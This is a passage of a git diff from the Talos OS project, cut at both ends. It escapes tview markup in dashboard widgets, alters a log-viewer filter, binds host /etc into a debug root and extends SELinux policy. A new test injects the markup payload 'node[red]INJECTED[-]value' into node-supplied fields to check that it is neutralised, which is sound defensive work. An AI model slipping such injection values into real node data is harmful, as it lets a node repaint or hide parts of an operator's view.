-} - type CRISuite struct { suite.Suite tmpDir string containerdRunner runner.Runner + runnerCtx context.Context //nolint:containedctx + runnerCancel context.CancelFunc containerdWg sync.WaitGroup containerdAddress string @@ -110,12 +108,14 @@ func (suite *CRISuite) SetupSuite() { runner.WithEnv([]string{constants.EnvPathWithBin}), runner.WithCgroupPath(suite.tmpDir), ) + suite.runnerCtx, suite.runnerCancel = context.WithCancel(context.Background()) + suite.Require().NoError(suite.containerdRunner.Open()) suite.containerdWg.Go(func() { defer suite.containerdRunner.Close() //nolint:errcheck - suite.containerdRunner.Run(MockEventSink(suite.T()), MockPidRecorder) //nolint:errcheck + suite.containerdRunner.Run(suite.runnerCtx, MockEventSink(suite.T()), nil) //nolint:errcheck }) suite.client, err = cri.NewClient("unix:"+suite.containerdAddress, 30*time.Second) @@ -127,7 +127,7 @@ func (suite *CRISuite) TearDownSuite() { suite.Require().NoError(suite.client.Close()) - suite.Require().NoError(suite.containerdRunner.Stop()) + suite.runnerCancel() suite.containerdWg.Wait() } diff --git a/internal/pkg/dashboard/components/components.go b/internal/pkg/dashboard/components/components.go index bf4b3b39030..2818632e32d 100644 --- a/internal/pkg/dashboard/components/components.go +++ b/internal/pkg/dashboard/components/components.go @@ -9,6 +9,7 @@ import ( "fmt" "strings" + "github.com/rivo/tview" "github.com/siderolabs/gen/xslices" ) @@ -62,30 +63,32 @@ func padRight(s string, width int) string { func toHealthStatus(healthy bool) string { if healthy { - return formatStatus("Healthy") + return FormatStatus("Healthy") } - return formatStatus("Unhealthy") + return FormatStatus("Unhealthy") } -func formatStatus(status any) string { - statusStr := capitalizeFirst(fmt.Sprintf("%v", status)) +func FormatStatus(status any) string { + statusStr := tview.Escape(capitalizeFirst(fmt.Sprintf("%v", status))) switch strings.ToLower(statusStr) { case "running", "healthy", "true": - return formatText(statusStr, true) + return FormatText(statusStr, true) case "stopped", "unhealthy", "false": - return formatText(statusStr, false) + return FormatText(statusStr, false) default: return statusStr } } -func formatText(text string, ok bool) string { +func FormatText(text string, ok bool) string { if text == "" { return "" } + text = tview.Escape(text) + if ok { return fmt.Sprintf("[green]√ %s[-]", text) } diff --git a/internal/pkg/dashboard/components/escape_test.go b/internal/pkg/dashboard/components/escape_test.go new file mode 100644 index 00000000000..d3e7a2f6e4f --- /dev/null +++ b/internal/pkg/dashboard/components/escape_test.go @@ -0,0 +1,149 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package components_test + +import ( + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/internal/pkg/dashboard/components" + "github.com/siderolabs/talos/internal/pkg/dashboard/resourcedata" + "github.com/siderolabs/talos/pkg/machinery/resources/cluster" + "github.com/siderolabs/talos/pkg/machinery/resources/hardware" + "github.com/siderolabs/talos/pkg/machinery/resources/network" + "github.com/siderolabs/talos/pkg/machinery/resources/runtime" + "github.com/siderolabs/talos/pkg/machinery/resources/siderolink" +) + +// The dashboard renders through tcell, which never lets a terminal control +// character reach the terminal - it draws runes into cells. What it does read out +// of the text is tview's own markup, so a node putting "[red]" or a region tag +// into any string it serves repaints or hides part of the operator's dashboard. +// +// tview.Escape turns "[red]" into "[red[]", which prints as the literal text. +const ( + payload = "node[red]INJECTED[-]value" + escaped = "node[red[]INJECTED[-[]value" +) + +// assertInert checks that the widget's text carries the payload only in its +// escaped form, i.e. tview will print it rather than act on it. +func assertInert(t *testing.T, text string) { + t.Helper() + + require.Contains(t, text, "INJECTED", "the payload did not reach the widget, so this test proves nothing") + assert.Contains(t, text, escaped) + assert.NotContains(t, strings.ReplaceAll(text, escaped, ""), "[red]") +} + +func TestTalosInfoEscapesAPIData(t *testing.T) { + t.Parallel() + + const node = "10.0.0.1" + + for name, res := range map[string]resourcedata.Data{ + "uuid": {Node: node, Resource: func() *hardware.SystemInformation { + r := hardware.NewSystemInformation("systeminformation") + r.TypedSpec().UUID = payload + + return r + }()}, + "cluster name": {Node: node, Resource: func() *cluster.Info { + r := cluster.NewInfo() + r.TypedSpec().ClusterName = payload + + return r + }()}, + "siderolink host": {Node: node, Resource: func() *siderolink.Status { + r := siderolink.NewStatus() + r.TypedSpec().Host = payload + r.TypedSpec().Connected = true + + return r + }()}, + } { + t.Run(name, func(t *testing.T) { + t.Parallel() + + widget := components.NewTalosInfo() + widget.OnNodeSelect(node) + widget.OnResourceDataChange(res) + + assertInert(t, widget.GetText(false)) + }) + } +} + +func TestNetworkInfoEscapesAPIData(t *testing.T) { + t.Parallel() + + const node = "10.0.0.1" + + hostname := network.NewHostnameStatus(network.NamespaceName, network.HostnameID) + hostname.TypedSpec().Hostname = payload + + timeservers := network.NewTimeServerStatus(network.NamespaceName, network.TimeServerID) + timeservers.TypedSpec().NTPServers = []string{payload} + + for name, res := range map[string]resourcedata.Data{ + "hostname": {Node: node, Resource: hostname}, + "ntp servers": {Node: node, Resource: timeservers}, + } { + t.Run(name, func(t *testing.T) { + t.Parallel() + + widget := components.NewNetworkInfo() + widget.OnNodeSelect(node) + widget.OnResourceDataChange(res) + + assertInert(t, widget.GetText(false)) + }) + } +} + +func TestHeaderEscapesAPIData(t *testing.T) { + t.Parallel() + + const node = "10.0.0.1" + + hostname := network.NewHostnameStatus(network.NamespaceName, network.HostnameID) + hostname.TypedSpec().Hostname = payload + + versionRes := runtime.NewVersion() + versionRes.TypedSpec().Version = payload + versionRes.TypedSpec().Name = payload + + for name, res := range map[string]resourcedata.Data{ + "hostname": {Node: node, Resource: hostname}, + "version": {Node: node, Resource: versionRes}, + } { + t.Run(name, func(t *testing.T) { + t.Parallel() + + widget := components.NewHeader() + widget.OnNodeSelect(node) + widget.OnResourceDataChange(res) + + assertInert(t, widget.GetText(false)) + }) + } +} + +// TestFormattersEscapeTheirText: formatStatus and formatText wrap node text in +// tview tags, so they have to escape the text and not the tags. +func TestFormattersEscapeTheirText(t *testing.T) { + t.Parallel() + + assert.Equal(t, "Node[red[]injected[-[]", components.FormatStatus("node[red]injected[-]")) + assert.Equal(t, "[green]√ node[red[]x[-[][-]", components.FormatText("node[red]x[-]", true)) + + // the ordinary values still render exactly as before. + assert.Equal(t, "[green]√ Running[-]", components.FormatStatus("running")) + assert.Equal(t, "[red]× Stopped[-]", components.FormatStatus("stopped")) + assert.Equal(t, "Unknown", components.FormatStatus("unknown")) +} diff --git a/internal/pkg/dashboard/components/header.go b/internal/pkg/dashboard/components/header.go index d276be2bb81..8179c3dcf78 100644 --- a/internal/pkg/dashboard/components/header.go +++ b/internal/pkg/dashboard/components/header.go @@ -74,15 +74,15 @@ func (widget *Header) OnResourceDataChange(data resourcedata.Data) { if data.Deleted { nodeData.hostname = noHostname } else { - nodeData.hostname = res.TypedSpec().Hostname + nodeData.hostname = tview.Escape(res.TypedSpec().Hostname) } case *runtime.Version: if data.Deleted { nodeData.name = version.Name nodeData.version = notAvailable } else { - nodeData.name = res.TypedSpec().Name - nodeData.version = res.TypedSpec().Version + nodeData.name = tview.Escape(res.TypedSpec().Name) + nodeData.version = tview.Escape(res.TypedSpec().Version) if nodeData.name == "" { nodeData.name = version.Name diff --git a/internal/pkg/dashboard/components/kubernetesinfo.go b/internal/pkg/dashboard/components/kubernetesinfo.go index 23034acb32c..a6436e191cd 100644 --- a/internal/pkg/dashboard/components/kubernetesinfo.go +++ b/internal/pkg/dashboard/components/kubernetesinfo.go @@ -117,7 +117,7 @@ func (widget *KubernetesInfo) updateNodeData(data resourcedata.Data) { nodeData.typ = notAvailable } else { nodeData.isControlPlane = res.MachineType() == machine.TypeControlPlane - nodeData.typ = res.MachineType().String() + nodeData.typ = tview.Escape(res.MachineType().String()) } } } @@ -133,7 +133,7 @@ func kubernetesVersion(deleted bool, image string) string { return notAvailable } - return version + return tview.Escape(version) } func (widget *KubernetesInfo) updateNodeAPIData(node string, data *apidata.Node) { diff --git a/internal/pkg/dashboard/components/logviewer.go b/internal/pkg/dashboard/components/logviewer.go index 10fc0af6d99..ed0a5292bdf 100644 --- a/internal/pkg/dashboard/components/logviewer.go +++ b/internal/pkg/dashboard/components/logviewer.go @@ -80,14 +80,12 @@ func NewLogViewer(app *tview.Application) *LogViewer { widget.renderLogs() }) widget.filterInput.SetDoneFunc(func(key tcell.Key) { - if key == tcell.KeyEscape { - widget.deactivateSearch() - } + widget.deactivateSearch(key == tcell.KeyEscape) }) widget.SetRows(1, 0).SetColumns(0) - widget.AddItem(NewHorizontalLine("Logs"), 0, 0, 1, 1, 0, 0, false) + widget.AddItem(NewHorizontalLine("Logs (/: filter)"), 0, 0, 1, 1, 0, 0, false) widget.AddItem(&widget.logs, 1, 0, 1, 1, 0, 0, true) return widget @@ -108,22 +106,33 @@ func (widget *LogViewer) activateSearch() { widget.app.SetFocus(widget.filterInput) } -// deactivateSearch hides the search input and clears the filter. -func (widget *LogViewer) deactivateSearch() { - if widget.filterText != "" { - widget.filterText = "" - widget.filterInput.SetText("") - widget.renderLogs() - } - +// deactivateSearch hides the search input. If clearText is true, the filter is also cleared. +func (widget *LogViewer) deactivateSearch(clearText bool) { if !widget.filterActive { + if clearText && widget.filterText != "" { + widget.filterText = "" + widget.filterInput.SetText("") + widget.renderLogs() + } + return } + hadFilter := widget.filterText != "" + + if clearText { + widget.filterText = "" + widget.filterInput.SetText("") + } + widget.filterActive = false widget.RemoveItem(widget.filterInput) widget.SetRows(1, 0) widget.app.SetFocus(&widget.logs) + + if clearText && hadFilter { + widget.renderLogs() + } } // WriteLog writes the log line to the widget. diff --git a/internal/pkg/dashboard/components/logviewer_test.go b/internal/pkg/dashboard/components/logviewer_test.go index 83a4b659803..6b068c2c85f 100644 --- a/internal/pkg/dashboard/components/logviewer_test.go +++ b/internal/pkg/dashboard/components/logviewer_test.go @@ -8,6 +8,8 @@ package components import ( "testing" "unicode/utf8" + + "github.com/rivo/tview" ) // TestFormatLogEntry covers the two responsibilities of formatLogEntry: deciding @@ -183,6 +185,112 @@ func TestFormatLogEntryKeepsTextValid(t *testing.T) { } } +// TestDeactivateSearchKeepFilter verifies that Enter (clearText=false) hides the +// input row while preserving the filter text for next activation. +func TestDeactivateSearchKeepFilter(t *testing.T) { + app := tview.NewApplication() + defer app.Stop() + + viewer := NewLogViewer(app) + + // Manually set up the filtered state as activateSearch would. + viewer.filterText = "test" + viewer.filterActive = true + viewer.filterInput.SetText("test") + viewer.SetRows(1, 0, 1) + viewer.AddItem(viewer.filterInput, 2, 0, 1, 1, 0, 0, true) + + // Simulate Enter: keep the filter but hide the input row. + viewer.deactivateSearch(false) + + if viewer.filterActive { + t.Fatalf("filterActive = %v, expected false (input row should be hidden)", viewer.filterActive) + } + + if viewer.filterText != "test" { + t.Fatalf("filterText = %q, expected %q (filter text should be preserved for next /)", viewer.filterText, "test") + } +} + +// TestDeactivateSearchClearFilter verifies that Escape (clearText=true) clears +// the filter and hides the input row. +func TestDeactivateSearchClearFilter(t *testing.T) { + app := tview.NewApplication() + defer app.Stop() + + viewer := NewLogViewer(app) + + // Manually set up the filtered state. + viewer.filterText = "test" + viewer.filterActive = true + viewer.filterInput.SetText("test") + viewer.SetRows(1, 0, 1) + viewer.AddItem(viewer.filterInput, 2, 0, 1, 1, 0, 0, true) + + // Add a log entry so renderLogs has something to process. + viewer.entries = append(viewer.entries, logEntry{text: "test line", isError: false}) + + // Simulate Escape: clear the filter and hide the input row. + viewer.deactivateSearch(true) + + if viewer.filterActive { + t.Fatalf("filterActive = %v, expected false", viewer.filterActive) + } + + if viewer.filterText != "" { + t.Fatalf("filterText = %q, expected empty", viewer.filterText) + } + + if viewer.filterInput.GetText() != "" { + t.Fatalf("filterInput text = %q, expected empty", viewer.filterInput.GetText()) + } +} + +// TestDeactivateSearchWhenInactive verifies that calling deactivateSearch when +// the input is not active clears the text only if clearText=true. +func TestDeactivateSearchWhenInactive(t *testing.T) { + app := tview.NewApplication() + defer app.Stop() + + viewer := NewLogViewer(app) + viewer.filterText = "old" + viewer.filterActive = false + + // clearText=false: should not clear. + viewer.deactivateSearch(false) + + if viewer.filterText != "old" { + t.Fatalf("filterText = %q, expected %q", viewer.filterText, "old") + } + + // clearText=true: should clear and re-render. + viewer.entries = append(viewer.entries, logEntry{text: "line", isError: false}) + viewer.deactivateSearch(true) + + if viewer.filterText != "" { + t.Fatalf("filterText = %q, expected empty", viewer.filterText) + } +} + +// TestDeactivateSearchEscapeWithoutFilterKeepsNoData verifies that pressing Esc +// immediately after opening the filter (without typing) does not clear the +// initial noData placeholder. +func TestDeactivateSearchEscapeWithoutFilterKeepsNoData(t *testing.T) { + app := tview.NewApplication() + defer app.Stop() + + viewer := NewLogViewer(app) + // Manually activate the filter input (as activateSearch would). + viewer.filterActive = true + viewer.SetRows(1, 0, 1) + viewer.AddItem(viewer.filterInput, 2, 0, 1, 1, 0, 0, true) + viewer.deactivateSearch(true) + + if text := viewer.logs.GetText(true); text != noData { + t.Fatalf("logs text = %q, expected %q", text, noData) + } +} + // TestLowerWithOffsets checks the invariants formatLogEntry relies on when it maps // a position found in the lowercased text back onto the original: the offsets cover // every byte of the lowered result plus one trailing sentinel, they never decrease, diff --git a/internal/pkg/dashboard/components/networkinfo.go b/internal/pkg/dashboard/components/networkinfo.go index 0664709535c..79e045193b7 100644 --- a/internal/pkg/dashboard/components/networkinfo.go +++ b/internal/pkg/dashboard/components/networkinfo.go @@ -105,7 +105,7 @@ func (widget *NetworkInfo) updateNodeData(data resourcedata.Data) { if data.Deleted { nodeData.hostname = notAvailable } else { - nodeData.hostname = res.TypedSpec().Hostname + nodeData.hostname = tview.Escape(res.TypedSpec().Hostname) } case *network.RouteStatus: if data.Deleted { @@ -257,7 +257,7 @@ func (widget *NetworkInfo) timeservers(status *network.TimeServerStatus) string return none } - return strings.Join(status.TypedSpec().NTPServers, ", ") + return strings.Join(xslices.Map(status.TypedSpec().NTPServers, tview.Escape), ", ") } func (widget *NetworkInfo) connectivity(status *network.Status) string { diff --git a/internal/pkg/dashboard/components/talosinfo.go b/internal/pkg/dashboard/components/talosinfo.go index 060ade6aaf7..0c9c14a7360 100644 --- a/internal/pkg/dashboard/components/talosinfo.go +++ b/internal/pkg/dashboard/components/talosinfo.go @@ -77,34 +77,34 @@ func (widget *TalosInfo) updateNodeData(data resourcedata.Data) { if data.Deleted { nodeData.uuid = notAvailable } else { - nodeData.uuid = res.TypedSpec().UUID + nodeData.uuid = tview.Escape(res.TypedSpec().UUID) } case *cluster.Info: clusterName := res.TypedSpec().ClusterName if data.Deleted || clusterName == "" { nodeData.clusterName = notAvailable } else { - nodeData.clusterName = clusterName + nodeData.clusterName = tview.Escape(clusterName) } case *siderolink.Status: if data.Deleted { nodeData.siderolink = notAvailable } else { - nodeData.siderolink = formatText(res.TypedSpec().Host, res.TypedSpec().Connected) + nodeData.siderolink = FormatText(res.TypedSpec().Host, res.TypedSpec().Connected) } case *runtime.MachineStatus: if data.Deleted { nodeData.stage = notAvailable nodeData.ready = notAvailable } else { - nodeData.stage = formatStatus(res.TypedSpec().Stage.String()) - nodeData.ready = formatStatus(res.TypedSpec().Status.Ready) + nodeData.stage = FormatStatus(res.TypedSpec().Stage.String()) + nodeData.ready = FormatStatus(res.TypedSpec().Status.Ready) } case *runtime.SecurityState: if data.Deleted { nodeData.secureBootState = notAvailable } else { - nodeData.secureBootState = formatStatus(res.TypedSpec().SecureBoot) + nodeData.secureBootState = FormatStatus(res.TypedSpec().SecureBoot) } case *cluster.Member: if data.Deleted { diff --git a/internal/pkg/dashboard/configurl.go b/internal/pkg/dashboard/configurl.go index 7e2d5aefea3..4deadc78462 100644 --- a/internal/pkg/dashboard/configurl.go +++ b/internal/pkg/dashboard/configurl.go @@ -80,7 +80,7 @@ func NewConfigURLGrid(ctx context.Context, dashboard *Dashboard) *ConfigURLGrid err := dashboard.cli.MetaWrite(ctx, meta.DownloadURLCode, []byte(value)) if err != nil { - grid.infoView.SetText(fmt.Sprintf("[red]Error: %v[-]", err)) + grid.infoView.SetText(fmt.Sprintf("[red]Error: %v[-]", tview.Escape(err.Error()))) return } @@ -100,7 +100,7 @@ func NewConfigURLGrid(ctx context.Context, dashboard *Dashboard) *ConfigURLGrid return } - grid.infoView.SetText(fmt.Sprintf("[red]Error: %v[-]", err)) + grid.infoView.SetText(fmt.Sprintf("[red]Error: %v[-]", tview.Escape(err.Error()))) return } @@ -180,7 +180,7 @@ func (widget *ConfigURLGrid) updateNodeData(data resourcedata.Data) { val = "(empty)" } - nodeData.existingCode = fmt.Sprintf("[blue]%s[-]", val) + nodeData.existingCode = fmt.Sprintf("[blue]%s[-]", tview.Escape(val)) } } } diff --git a/internal/pkg/dashboard/networkconfig.go b/internal/pkg/dashboard/networkconfig.go index 6eeefd7e6ab..1ca7938aeea 100644 --- a/internal/pkg/dashboard/networkconfig.go +++ b/internal/pkg/dashboard/networkconfig.go @@ -314,7 +314,7 @@ func (widget *NetworkConfigGrid) redraw() { err := encoder.Encode(data.existingConfig) if err != nil { - widget.existingConfigView.SetText(fmt.Sprintf("[red]error: %v[-]", err)) + widget.existingConfigView.SetText(fmt.Sprintf("[red]error: %v[-]", tview.Escape(err.Error()))) } widget.existingConfigView.SetText(fmt.Sprintf("[lightblue]%s[-]", tview.Escape(buf.String()))) @@ -323,7 +323,7 @@ func (widget *NetworkConfigGrid) redraw() { } if data.newConfigError != nil { - widget.newConfigView.SetText(fmt.Sprintf("[red]error: %v[-]", data.newConfigError)) + widget.newConfigView.SetText(fmt.Sprintf("[red]error: %v[-]", tview.Escape(data.newConfigError.Error()))) } else if data.newConfig != nil { var buf strings.Builder @@ -332,7 +332,7 @@ func (widget *NetworkConfigGrid) redraw() { err := encoder.Encode(data.newConfig) if err != nil { - widget.newConfigView.SetText(fmt.Sprintf("[red]error: %v[-]", err)) + widget.newConfigView.SetText(fmt.Sprintf("[red]error: %v[-]", tview.Escape(err.Error()))) } widget.newConfigView.SetText(fmt.Sprintf("[green]%s[-]", tview.Escape(buf.String()))) @@ -387,7 +387,7 @@ func (widget *NetworkConfigGrid) updateNodeData(data resourcedata.Data) { cfg := runtime.PlatformNetworkConfig{} if err := yaml.Unmarshal([]byte(res.TypedSpec().Value), &cfg); err != nil { - widget.existingConfigView.SetText(fmt.Sprintf("[red]error: %v[-]", err)) + widget.existingConfigView.SetText(fmt.Sprintf("[red]error: %v[-]", tview.Escape(err.Error()))) return } @@ -437,7 +437,7 @@ func (widget *NetworkConfigGrid) save(ctx context.Context) { configBytes, err := yaml.Marshal(nodeData.newConfig) if err != nil { - widget.infoView.SetText(fmt.Sprintf("[red]Error: %v[-]", err)) + widget.infoView.SetText(fmt.Sprintf("[red]Error: %v[-]", tview.Escape(err.Error()))) return } @@ -445,7 +445,7 @@ func (widget *NetworkConfigGrid) save(ctx context.Context) { ctx = utils.NodeContext(ctx, widget.selectedNode) if err = widget.dashboard.cli.MetaWrite(ctx, meta.MetalNetworkPlatformConfig, configBytes); err != nil { - widget.infoView.SetText(fmt.Sprintf("[red]Error: %v[-]", err)) + widget.infoView.SetText(fmt.Sprintf("[red]Error: %v[-]", tview.Escape(err.Error()))) return } diff --git a/internal/pkg/dashboard/resourceexplorer.go b/internal/pkg/dashboard/resourceexplorer.go index 5c7bef9efa2..3e527a11603 100644 --- a/internal/pkg/dashboard/resourceexplorer.go +++ b/internal/pkg/dashboard/resourceexplorer.go @@ -298,7 +298,7 @@ func (widget *ResourceExplorerGrid) loadResourceTypes() { widget.app.QueueUpdateDraw(func() { widget.initTypesTableHeader() widget.typesTable.SetCell(1, 0, &tview.TableCell{ - Text: fmt.Sprintf("[red]%s[-]", formatError(err)), + Text: fmt.Sprintf("[red]%s[-]", tview.Escape(formatError(err))), NotSelectable: true, }) }) @@ -361,19 +361,19 @@ func (widget *ResourceExplorerGrid) renderTypesTable() { } widget.typesTable.SetCell(row, 0, &tview.TableCell{ - Text: spec.Type, + Text: tview.Escape(spec.Type), Align: tview.AlignLeft, Color: tcell.ColorDefault, Reference: rd, // used by selectResourceType to retrieve the RD Expansion: 1, }) widget.typesTable.SetCell(row, 1, &tview.TableCell{ - Text: spec.DefaultNamespace, + Text: tview.Escape(spec.DefaultNamespace), Align: tview.AlignLeft, Color: tcell.ColorDefault, }) widget.typesTable.SetCell(row, 2, &tview.TableCell{ - Text: strings.Join(spec.Aliases, ", "), + Text: tview.Escape(strings.Join(spec.Aliases, ", ")), Align: tview.AlignLeft, Color: tcell.ColorGray, }) @@ -694,16 +694,16 @@ func (widget *ResourceExplorerGrid) selectResource(row int) { func (widget *ResourceExplorerGrid) showResourceYAML(res resource.Resource) { out, err := resource.MarshalYAML(res) if err != nil { - widget.yamlView.SetText(fmt.Sprintf("Error marshaling resource: %v", err)) + widget.yamlView.SetText(tview.Escape(fmt.Sprintf("Error marshaling resource: %v", err))) } else { outBytes, marshalErr := yaml.Marshal(out) if marshalErr != nil { - widget.yamlView.SetText(fmt.Sprintf("Error encoding YAML: %v", marshalErr)) + widget.yamlView.SetText(tview.Escape(fmt.Sprintf("Error encoding YAML: %v", marshalErr))) } else { var node yaml.Node if unmarshalErr := yaml.Unmarshal(outBytes, &node); unmarshalErr != nil { - widget.yamlView.SetText(fmt.Sprintf("Error encoding YAML: %v", unmarshalErr)) + widget.yamlView.SetText(tview.Escape(fmt.Sprintf("Error encoding YAML: %v", unmarshalErr))) } else { var sb strings.Builder diff --git a/internal/pkg/hostns/hostns.go b/internal/pkg/hostns/hostns.go index ce29a25049d..8fd82a2abab 100644 --- a/internal/pkg/hostns/hostns.go +++ b/internal/pkg/hostns/hostns.go @@ -26,16 +26,16 @@ import ( // HostBinds are the live host mounts bind-mounted into the debug root so tools can // reach the running node: devices, kernel filesystems, runtime sockets (/run, -// /system) and data (/var). They are recursively bind-mounted and made shared, so a -// mount a session creates under them (e.g. `zpool create -m /var/tank`) propagates to -// the host, and unmounts propagate back — the session manages host mounts as if it -// were in the host namespace (which it is). Flags (nodev, nosuid, noexec) are inherited +// /system), live configuration (/etc), and data (/var). They are recursively bind-mounted +// and made shared, so a mount a session creates under them (e.g. `zpool create -m /var/tank`) +// propagates to the host, and unmounts propagate back. The session manages host mounts as +// if it were in the host namespace (which it is). Flags (nodev, nosuid, noexec) are inherited // from the already-compliant host mounts. // // /var is bound even though the session's own scratch (merged, image, overlay uppers) // lives under it: Setup marks those scratch mounts MS_UNBINDABLE, so the recursive /var // bind skips them and cannot nest merged into itself. -var HostBinds = []string{"dev", "proc", "sys", "run", "system", "var"} +var HostBinds = []string{"dev", "proc", "sys", "run", "system", "var", "etc"} // Setup builds the debug chroot root in the CURRENT (host) mount namespace: // - the image snapshot mounted read-only at baseDir/image (via fsopen, so the many- @@ -89,8 +89,9 @@ func Setup(snapshotMounts []mount.Mount, baseDir, varBase string) (merged string } // Overlay root: host / as lower, disk-backed upper/work under varBase (mountv3 - // creates the target and the upper/work dirs). The upper lets the session create - // /nix, /etc/nix, etc. without touching Talos's immutable squashfs, on disk. + // creates the target and the upper/work dirs). The upper gives the session writable + // root paths not replaced by the live host binds below, without touching Talos's + // immutable squashfs. if _, err = mountv3.NewOverlayWithBasePath([]string{"/"}, merged, varBase, nil).Mount(); err != nil { return "", nil, fmt.Errorf("mount overlay root: %w", err) } diff --git a/internal/pkg/hostns/hostns_test.go b/internal/pkg/hostns/hostns_test.go index cb42f2c3971..ea2e47c6e16 100644 --- a/internal/pkg/hostns/hostns_test.go +++ b/internal/pkg/hostns/hostns_test.go @@ -44,6 +44,14 @@ func TestSetupTeardownNoLeak(t *testing.T) { tmp := t.TempDir() + // Replace /etc inside this private mount namespace with a marker-bearing host mount. + // The overlay lowerdir=/ sees only the underlying mount-point directory, so the marker + // is visible in the debug root only when Setup explicitly bind-mounts the live /etc. + hostEtc := filepath.Join(tmp, "host-etc") + require.NoError(t, os.MkdirAll(hostEtc, 0o755)) + require.NoError(t, os.WriteFile(filepath.Join(hostEtc, "hostns-marker"), []byte("host-etc"), 0o644)) + require.NoError(t, unix.Mount(hostEtc, "/etc", "", unix.MS_BIND|unix.MS_REC, "")) + // Fake image snapshot: overlayfs needs at least two lower layers (a real Nix image // has ~70). The top layer carries /nix/bin/tool. imgUpperLayer := filepath.Join(tmp, "img1") @@ -74,6 +82,10 @@ func TestSetupTeardownNoLeak(t *testing.T) { _, err = os.Stat(filepath.Join(merged, "nix", "bin", "tool")) assert.NoError(t, err, "image /nix overlaid into merged") + marker, err := os.ReadFile(filepath.Join(merged, "etc", "hostns-marker")) + require.NoError(t, err) + assert.Equal(t, "host-etc", string(marker), "live host /etc bound into merged") + // The overlay root and every host bind are mounted. assert.True(t, isMounted(t, merged), "overlay root mounted") @@ -101,6 +113,10 @@ func TestSetupTeardownNoLeak(t *testing.T) { assert.Zero(t, countUnder(t, baseDir), "no scratch mounts remain under baseDir") assert.True(t, isMounted(t, "/proc"), "host /proc survived teardown") assert.True(t, isMounted(t, "/sys"), "host /sys survived teardown") + + marker, err = os.ReadFile("/etc/hostns-marker") + require.NoError(t, err) + assert.Equal(t, "host-etc", string(marker), "host /etc survived teardown") assert.Equal(t, baseline, len(mountTargets(t)), "mount table returned to baseline — nothing leaked") } diff --git a/internal/pkg/selinux/policy/policy.33 b/internal/pkg/selinux/policy/policy.33 index 2cda9c66037..43bf5b0664b 100644 Binary files a/internal/pkg/selinux/policy/policy.33 and b/internal/pkg/selinux/policy/policy.33 differ diff --git a/internal/pkg/selinux/policy/selinux/common/processes.cil b/internal/pkg/selinux/policy/selinux/common/processes.cil index 9e62db242a2..877b04401e0 100644 --- a/internal/pkg/selinux/policy/selinux/common/processes.cil +++ b/internal/pkg/selinux/policy/selinux/common/processes.cil @@ -130,9 +130,13 @@ ; allow reading cgroup info (allow any_p cgroup_t (fs_classes (ro))) -; ; cilium-agent -; (allow any_p self (perf_event (all))) -; (allow any_p bpf_t (fs_classes (rw))) +; cilium-agent +(allow pod_p self (perf_event (all))) +; bpffs for pinning BPF objects +(allow pod_p bpf_t (fs_classes (rw))) +; nsenter from Cilium's apply-sysctl-overwrites +; Actually does not find sysctl directories and exits +(allow pod_t sandboxd_t (fs_classes (ro))) ; fio (allow any_p self (shm (all))) diff --git a/internal/pkg/selinux/policy/selinux/services/cri.cil b/internal/pkg/selinux/policy/selinux/services/cri.cil index 828bdceebaa..41bcc4365ee 100644 --- a/internal/pkg/selinux/policy/selinux/services/cri.cil +++ b/internal/pkg/selinux/policy/selinux/services/cri.cil @@ -20,6 +20,13 @@ (typetransition pod_containerd_t run_t chr_file pod_containerd_run_t) (typetransition pod_containerd_t run_t blk_file pod_containerd_run_t) (typetransition pod_containerd_t run_t fifo_file pod_containerd_run_t) +; /run/cilium and similar, managed by high-privilege pods +(typetransition pod_p run_t file pod_containerd_run_t) +(typetransition pod_p run_t dir pod_containerd_run_t) +(typetransition pod_p run_t lnk_file pod_containerd_run_t) +(typetransition pod_p run_t chr_file pod_containerd_run_t) +(typetransition pod_p run_t blk_file pod_containerd_run_t) +(typetransition pod_p run_t fifo_file pod_containerd_run_t) (allow pod_containerd_t pod_containerd_run_t (fs_classes (rw))) @@ -173,8 +180,8 @@ (allow pod_containerd_t devpts_t (fs_classes (rw))) (allow pod_p devpts_t (fs_classes (rw))) -; ; cilium -; (allow pod_containerd_t pod_p (unix_stream_socket (connectto))) +; cilium-cni (called by CRI) connecting to /run/cilium/cilium.sock (exposed by agent pod) +(allow pod_containerd_t pod_p (unix_stream_socket (connectto))) ; pkg/flannel (allow pod_p cni_conf_t (fs_classes (rw))) @@ -210,7 +217,10 @@ mount quotaget quotamod - ; relabelfrom + ; CSI drivers mount volumes with an explicit context=, requested through StorageClass + ; mountOptions, and the mount syscall relabels the filesystem away from fs_t. The target + ; type is covered by the ephemeral_t fs_classes grant below. + relabelfrom ; relabelto remount unmount diff --git a/internal/pkg/selinux/policy/selinux/services/taloscontainers.cil b/internal/pkg/selinux/policy/selinux/services/taloscontainers.cil new file mode 100644 index 00000000000..ec05633c8dc --- /dev/null +++ b/internal/pkg/selinux/policy/selinux/services/taloscontainers.cil @@ -0,0 +1,27 @@ +; Containers declared via ContainerConfig, run by Talos itself in the taloscontainers namespace. +; +; They run on the CRI containerd, so the shim starting them is pod_containerd_t, which the policy +; only permits to transition to pod_p types. The automatic transition that containerd applies takes +; pods to pod_t, and these are not pods: they get a domain of their own so they can be told apart in +; audit, and so their confinement can diverge from pod_t later. +; +; The transition is not automatic. It cannot be: the automatic one keys off the executable's type, +; which is containerd_state_t for these and for pods alike. The container's process label is set +; explicitly instead, by ContainerRuntimeController. +(type taloscontainer_t) +(call pod_p (taloscontainer_t)) + +; Containers that asked for security.machinedAccess, labelled by ContainerRuntimeController in place +; of taloscontainer_t. +; +; A domain of its own rather than granting taloscontainer_t the socket: the bind-mount already +; decides which containers can see the socket, and keeping the permission on a separate label means +; policy still refuses the connect for every container that did not ask for it, however it got there. +(type taloscontainer_machined_t) +(call pod_p (taloscontainer_machined_t)) + +; Talk to machined. The pair mirrors every other consumer of this socket (apid, dashboard, +; installer): write the socket file, and connect to the domain listening on it. +(allow taloscontainer_machined_t system_run_t (fs_classes (ro))) +(allow taloscontainer_machined_t machine_socket_t (fs_classes (rw))) +(allow taloscontainer_machined_t init_t (unix_stream_socket (connectto))) diff --git a/internal/pkg/selinux/policy/selinux/services/virt.cil b/internal/pkg/selinux/policy/selinux/services/virt.cil new file mode 100644 index 00000000000..8a52de79b15 --- /dev/null +++ b/internal/pkg/selinux/policy/selinux/services/virt.cil @@ -0,0 +1,25 @@ +; libvirt/qemu sVirt dynamic labeling. +(type svirt_t) +(call system_container_p (svirt_t)) +(typepermissive svirt_t) + +(type svirt_tcg_t) +(call system_container_p 